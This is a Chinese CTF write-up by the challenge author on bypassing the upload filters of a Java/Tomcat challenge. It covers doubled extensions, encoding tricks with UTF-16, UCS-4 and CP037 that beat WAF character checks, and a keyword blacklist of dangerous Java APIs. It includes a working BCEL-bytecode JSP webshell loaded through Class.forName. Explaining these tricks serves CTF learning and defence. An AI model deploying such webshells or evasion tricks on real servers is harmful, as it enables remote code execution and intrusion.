@yzddmr6
自己在L3HCTF中出了一道java上传绕过题目bypass。其中题目中的一些trick不仅仅是用于CTF出题,对于实战渗透也是有一定的帮助。今天跟大家分享一下出题时的一些思考跟解题细节。
题目有三道过滤
1. 绕过后缀
public static String checkExt(String ext) {
ext = ext.toLowerCase();
String[] blackExtList = {
"jsp", "jspx"
};
for (String blackExt : blackExtList) {
if (ext.contains(blackExt)) {
ext = ext.replace(blackExt, "");
}
}
return ext;
}
后缀jsp/jspx会被替换为空,用双写绕过:jsjspp。常规操作
2. 绕过可见字符检测
第二阶段题目中直接用getString获取FileItem的内容,然后传入了checkValidChars函数检测。checkValidChars函数主要功能是检测content中是否存在连着两个以上的字母数字,如果匹配成功则提示上传失败。
String content = item.getString();
boolean check = checkValidChars(content);
...
public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}
这里其实是模拟了一个WAF的场景,因为很多WAF对于文件上传都会有很粗暴的拦截,碰到jsp标签就给干死。
乍一看似乎并不可能被绕过,因为只要连着两个字母数字就会被检测到,让人不由得想起了CTF经典题目《php无字母数字webshell》。但是java不像php一样支持变量函数,需要从其他地方下手。
这里就用到了一个trick:FileItem.getString()对于编码的解析跟Tomcat解析jsp是有差异的,默认为ISO-8859-1
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
}
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
}
}
而Tomcat对于jsp编码的解析主要在org.apache.jasper.compiler.EncodingDetector这个类,其中有很多默认用ISO-8859-1无法直接解析的编码。
private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b0 = b4[0] & 255;
int b1 = b4[1] & 255;
if (b0 == 254 && b1 == 255) {
return new EncodingDetector.BomResult("UTF-16BE", 2);
} else if (b0 == 255 && b1 == 254) {
return new EncodingDetector.BomResult("UTF-16LE", 2);
} else if (count < 3) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b2 = b4[2] & 255;
if (b0 == 239 && b1 == 187 && b2 == 191) {
return new EncodingDetector.BomResult("UTF-8", 3);
} else if (count < 4) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b3 = b4[3] & 255;
if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {
return new EncodingDetector.BomResult("UTF-16BE", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {
return new EncodingDetector.BomResult("UTF-16LE", 0);
} else {
return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);
}
}
}
}
}
利用两者对于编码的识别结果不同,从而造成解析差异,进行绕过。
在看到的wp中基本都是利用UTF-16绕过,但是从函数中可以看到,Tomcat还支持另一些不常见编码,如UCS-4和CP037。这两种编码比较少见,并且部分后端语言是不支持直接解析的。
也就是说,如果遇到WAF或者webshell检测引擎,在文件上传时非常粗暴的检测了jsp的标签,利用特殊的编码即可造成降维打击,随便绕过。
3. 绕过黑名单检测
String[] blackWordsList = {
//危险关键字
"newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",
"setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",
"readObject","defineClass",
//写文件
"File", "Writer", "Stream", "commons",
//request
"request", "Request",
//特殊编码也处理一下
"\\u", "CDATA", ""
//这下总安全了吧
};
这里也是比较有意思的一步,模拟了一个端上暴力webshell查杀引擎。
常见的webshell关键字都会被拦截,其他的一些编码如unicode,html实体,cdata拆分也都加了关键字。并且加了文件类关键字,防止二次写文件进行绕过。甚至拦截了request对象,禁止直接传入参数。
题目的定位为开放性题目,其实绕过的办法很多。看到很多wp都是利用远程加载class或者jar来完成rce:
https://www.anquanke.com/post/id/259487
https://y4tacker.blog.csdn.net/article/details/121363886
当时为了降低题目难度,环境没有设置不出网,并且jdk也是比较低的版本。那么如果题目设置了不出网环境又该怎么利用呢?
在这里提一种不出网也可利用的姿势,利用bcel ClassLoader绕过。
以三梦的github项目为例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com)
bcel字节码webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的时候会解析并加载bcel字节码。但是题目中把loadClass以及newInstance关键字都给封禁了。
那么问题就变成了如何触发loadClass方法
实际上Class.forName在查找类的时候,如果使用了三个参数的重载方法使用自定义类加载器,就会调用其类加载器的loadClass方法。
仅仅从源码看不出来这一点,forName0经过了一层native方法。下个断点从堆栈里可以看到这一过程。
具体实现如下:
<%
Class.forName("$BCEL$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$E$b8$w$8aP$l6$ee$w$dd$e2$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$ee1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5OB$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$fc$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$60$bdy$P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader());
%>
其中bcel字节码生成的代码可以参考三梦师傅的项目:https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/1/BcelEvil.java
另外,黑名单中小写的lookup并不是非预期,原本的方法确实是小写。
绕过是因为很多师傅找到了另一个重载方法doLookup,这是其中的一个预期解。
很多人没有注意到这个静态方法。因为目前几乎所有jndi注入文章都说到的是第一个点lookup,而doLookup这个触发点需要翻看源码才能找到。
此题目为开放性题目,姿势很多。出题的本意就是想看看大家在遇到市面上大部分姿势都被ban掉的情况下会构造出什么有意思的绕过。